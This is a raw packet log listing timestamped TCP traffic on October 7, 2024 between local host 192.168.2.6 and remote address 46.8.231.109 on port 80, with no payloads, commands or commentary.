Oct 7, 2024 18:00:29.327620029 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327626944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327640057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327641964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327651978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327662945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327663898 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327673912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327681065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327685118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327694893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327706099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327714920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327714920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327725887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327735901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327744961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327755928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327760935 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327765942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327776909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.327786922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327805996 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.327817917 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.328408957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328422070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328433990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328444004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328455925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328474045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.328474998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328485966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328496933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328507900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328517914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328526974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.328527927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328538895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328545094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.328548908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328560114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328571081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328582048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328591108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.328593969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328605890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328618050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328619003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.328639030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328641891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.328649998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328661919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.328670025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328676939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.328716040 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.328752041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.329185963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329197884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329209089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329221010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329235077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329245090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329256058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329262018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.329267025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329277992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329288006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329298973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329299927 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.329320908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329332113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329343081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329351902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329361916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.329363108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329374075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329385042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329401016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329402924 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.329412937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329423904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329425097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.329435110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329447031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329458952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329463959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.329469919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329479933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329488993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.329490900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.329518080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.329540014 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.330329895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330342054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330353022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330363035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330369949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.330374002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330384016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330389977 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.330394983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330405951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330418110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330427885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330431938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.330439091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330451012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330461025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330461979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.330471992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.330487967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.330513954 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.331280947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331293106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331301928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331314087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331319094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331324100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331335068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331336021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.331346035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331350088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.331357956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331378937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.331403971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.331504107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.331541061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.332252979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.332329988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.333013058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333017111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333029032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333031893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333034992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333040953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333053112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333059072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.333062887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333074093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333085060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333085060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.333096027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333108902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333118916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333120108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.333129883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333142042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333148956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333153009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333153009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.333158970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333163977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333168983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333178997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333193064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333203077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333204985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.333225012 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.333240986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.333931923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333950043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333961964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333972931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.333975077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.333982944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334002018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334007978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334012985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334017992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334028006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334033966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334039927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334048033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334050894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334068060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334084988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334093094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334105015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334115028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334125996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334139109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334146976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334172010 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334240913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334254026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334264994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334275961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334280968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334287882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334294081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334300041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334302902 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334306002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334311008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334316015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334321976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334377050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334431887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334479094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334527016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334537983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334563017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334564924 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334590912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334744930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334762096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334777117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334783077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334788084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334799051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334809065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334810019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334820032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334830999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334836960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334842920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334852934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334852934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334863901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334876060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334886074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334891081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334897995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334908009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334918022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334920883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334928989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334937096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334939957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334949970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334954977 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334961891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.334971905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.334996939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335572004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335582972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335592985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335603952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335614920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335616112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335625887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335633039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335649967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335675001 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335689068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335700035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335711002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335721016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335727930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335731983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335742950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335752964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335753918 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335763931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335774899 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335793018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335827112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335838079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335850000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335860014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335865021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335872889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335880041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335882902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335894108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335903883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335906029 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335916042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335926056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335933924 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335937023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335948944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335963964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335974932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335974932 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.335985899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.335995913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336007118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336007118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336018085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336026907 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336051941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336107016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336118937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336128950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336138964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336148024 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336149931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336160898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336165905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336173058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336180925 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336184025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336194992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336206913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336210966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336218119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336229086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336236954 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336240053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336251974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336256027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336282969 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336678982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336690903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336695910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336700916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336711884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336716890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336721897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336733103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336738110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336739063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336745024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336755991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336766958 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336786032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336843967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336855888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336862087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336867094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336872101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336879015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336890936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336895943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336901903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336911917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336916924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336921930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336926937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336937904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336946011 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336947918 CEST	80	49718	46.8.231.109	192.168.2.6
